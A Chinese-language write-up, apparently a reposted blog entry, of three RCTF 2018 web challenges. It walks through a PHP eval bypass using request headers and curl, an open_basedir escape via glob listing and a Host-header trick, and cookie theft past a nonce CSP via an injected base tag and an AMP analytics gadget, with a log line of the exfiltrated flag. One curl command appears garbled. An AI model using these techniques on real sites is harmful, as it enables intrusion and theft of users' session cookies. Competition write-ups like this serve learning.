RCTF2018 Web Writeup

存储架构 2018-05-23 阅读原文

RCTF刚好赶上了完成毕设的时间,没办法只接触了部分题目,可惜的是,其中很多题目都不是特别有意思,这里只整理部分我参与的..

r-cursive

LUL dat font

http://r-cursive.ml

hint: If you get stuck after arbitary code execution, try to escape the sandbox. phpinfo may help you figure out how the sandbox works.

蛮神奇的一题,题目代码是这样的

 

访问 ?action=go
之后,我们会自动跳到属于自己ip的沙盒中,打开题目,我们就能看到源码

 <?php
sha1($_SERVER['REMOTE_ADDR']) === 'f6e5575f93a408c5cb709c73eaa822cb09b4d0f7' ?: die();
';' === preg_replace('/[^W_]+((?R)?)/', NULL, $_GET['cmd']) ? eval($_GET['cmd']) : show_source(__FILE__);

简单来说就是这里只能调用函数,没办法传入字符串,绕过比较简单。

curl "http://xxxx.sandbox.r-cursive.ml:1337/?cmd=eval(next(getallheaders()));" -H "User-Agent: phpinfo();" -H "Accept: asdasd/asdasda"

通过获取headers的方式,我们可以通过设置ua来传入字符串,成功执行我想要的命令。这里我们先看看phpinfo的内容。

disable_classes:
GlobIterator,DirectoryIterator,FilesystemIterator,RecursiveDirectoryIterator

disable_functions
system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,putenv,apache_setenv,mb_send_mail,assert,dl,set_time_limit,ignore_user_abort,symlink,link

open_basedir
/var/www/sandbox/47933bf3ea6c89fb70bb9c63930d414a4c4a70ae/:/tmp/

由于前两项的设置,导致后面open_baseidr完全没办法绕过,但我们可以用glob协议来列一部分目录。

if ($dh = opendir('glob:///*/*/*/*')) {while (($file = readdir($dh)) !== false) {echo $file.' ';}closedir($dh);}

经过一段时间的锁定,我们可以发现flag只能是在 /var/www/sandbox/init.php
文件里,但问题在于,在禁用了这些函数之后,我们无法绕过这里的限制。

所以我们可能需要想更巧妙地方法来绕过这里的限制,对于不同的请求来说, open_basedir
都是不同的,那么服务端就需要获取请求的地址,然后做解析,这部分的配置一般是由apache来做的,但如果我们请求的host中不包含这个sha1的字符串,那么是不是我们可以让后端无法获取到这个字符串,就会将 open_basedir
设置为 /var/www/sandbox
,我们就可以读取这个目录下的文件了。

需要注意的是,当前目录也会随之改变,而当前目录是没有index.php的,所以我们需要加上目录。

ubuntu@VM-181-46-ubuntu:~$ curl "http://47933bf3ea6c89fb70bb9c63930d414a4c4a70ae.sandbox.r-cursive.ml:1337/47933bf3ea6c89fb70bb9c63930val(next(getallheaders()));" -H "User-Agent: show_source('../init.php');" -H "Host: .sandbox.r-cursive.ml"


ini_set("open_basedir", $_SERVER['DOCUMENT_ROOT']."/:/tmp/");
// flag: RCTF{apache_mod_vhost_alias_should_be_configured_correctly}

amp

Buildingthe future web, together.

题目特别简单,页面内含有CSP,比较松但却开启了nonce CSP,完成的CSP头如下

script-src 'nonce-88f68fa5b7eb8a01de8b8e63b5fb0a6e' 'strict-dynamic'; style-src 'unsafe-inline'

题目中也很明白,没有任何标签过滤,然后页面中引入了google amp的框架,那么我们只要找一个amp文档中的gadgets,然后获取当前页面cookie就好了,不知道是不是我语法不对…

在翻阅文档的时候发现一个特殊的标签

https://www.ampproject.org/docs/analytics/analytics_basics#variable-substitution

这个标签不仅仅会发送请求,还有读取cookie的支持,就像这样

其中site-user-id-cookie-fallback-name为cookie的名字,这样发送到服务端就会获取到返回flag了。

rblog1

get `document.cookie`
http://rblog.2018.teamrois.cn

还算是一道比较神奇的题目,怎么说呢,预期解感觉脑洞成分大很多,非预期解蛮有意思的。

站内功能很普通,与0ctf中的club题目一致,提交表单包括title和content,其中title没有转义,effect可控,出现点在引入js的地方。

页面中使用了nonce CSP

default-src 'none'; script-src 'nonce-4fad2fa7830a95f09b6e6b3691e37d18'; frame-src https://www.google.com/recaptcha/; style-src 'self' 'unsafe-inline' fonts.googleapis.com; font-src fonts.gstatic.com; img-src 'self'

本来我们的关注点都在effect这里

但script是个特殊标签,src无法覆盖,而且外链是大于内联js,所以我们也无法执行js,唯一的办法是通过上传接口上传文件,然后通过设置effect为 ../../../uploads/xxx
来引入,则为可控,但上传接口对文件有判断,无法轻易fuzz,所以暂时把这里放下了。

这里我们用了非预期的解法,base标签

在title我们引入的标签没有被转义,而且CSP中没有设置base标签,那么我们直接通过base标签设置当前域,其中的相对目录就会引入我们想要的js。

拿到cookie

115.159.200.107 - - [20/May/2018:07:02:09 +0000] "GET /?flag=RCTF{why_the_heck_no_mimetype_for_webp_in_apache2_in_8012};%20hint_for_rBlog_Rev.2=http://rblog.2018.teamrois.cn/blog.php/52c533a30d8129ee4915191c57965ef4c7718e6d HTTP/1.1" 200 2261

责编内容by:LoRexxar's Blog 【阅读原文】。感谢您的支持!

您可能感兴趣的

浅谈 var 关键字 提起 var关键子,程序员的第一反应就是JavaScript, 事实上这个关键子在其他语言中也有被采用。 比如说C#, 比如说kotlin, 用法和JavaScript中使用差不多,作为要声明变量的前缀 var myInt = ...
A Sneak Peek of a Few Panels and Talks at JS Inter... Vancouver Convention Centre where JS Interactive takes place from October 10 – 12, 2018. This year, the JS Foundati...
量子通信的问与答(中) 量子通信在中国的实践与应用 | 墨子沙龙... 关注风云之声 提升思维层次 导读 2018年是全球加快在量子信息领域行动部署的关键一年,我国在量子通信领域取得的成就和做出的贡献得到了众多知名科学家的充分肯定。11月上旬,第六届国际量子安全研讨会(ETSI...
Problems with JavaScript and regular expressions I'm trying to get the YouTube link and get just it's Id(which is working nice). I'm trying to make a function to detect ...
Build­ing My Site Part II: Setup In thefirst part of this series I talked about the deci­sions that led to using the likes of Craft and Lar­avel...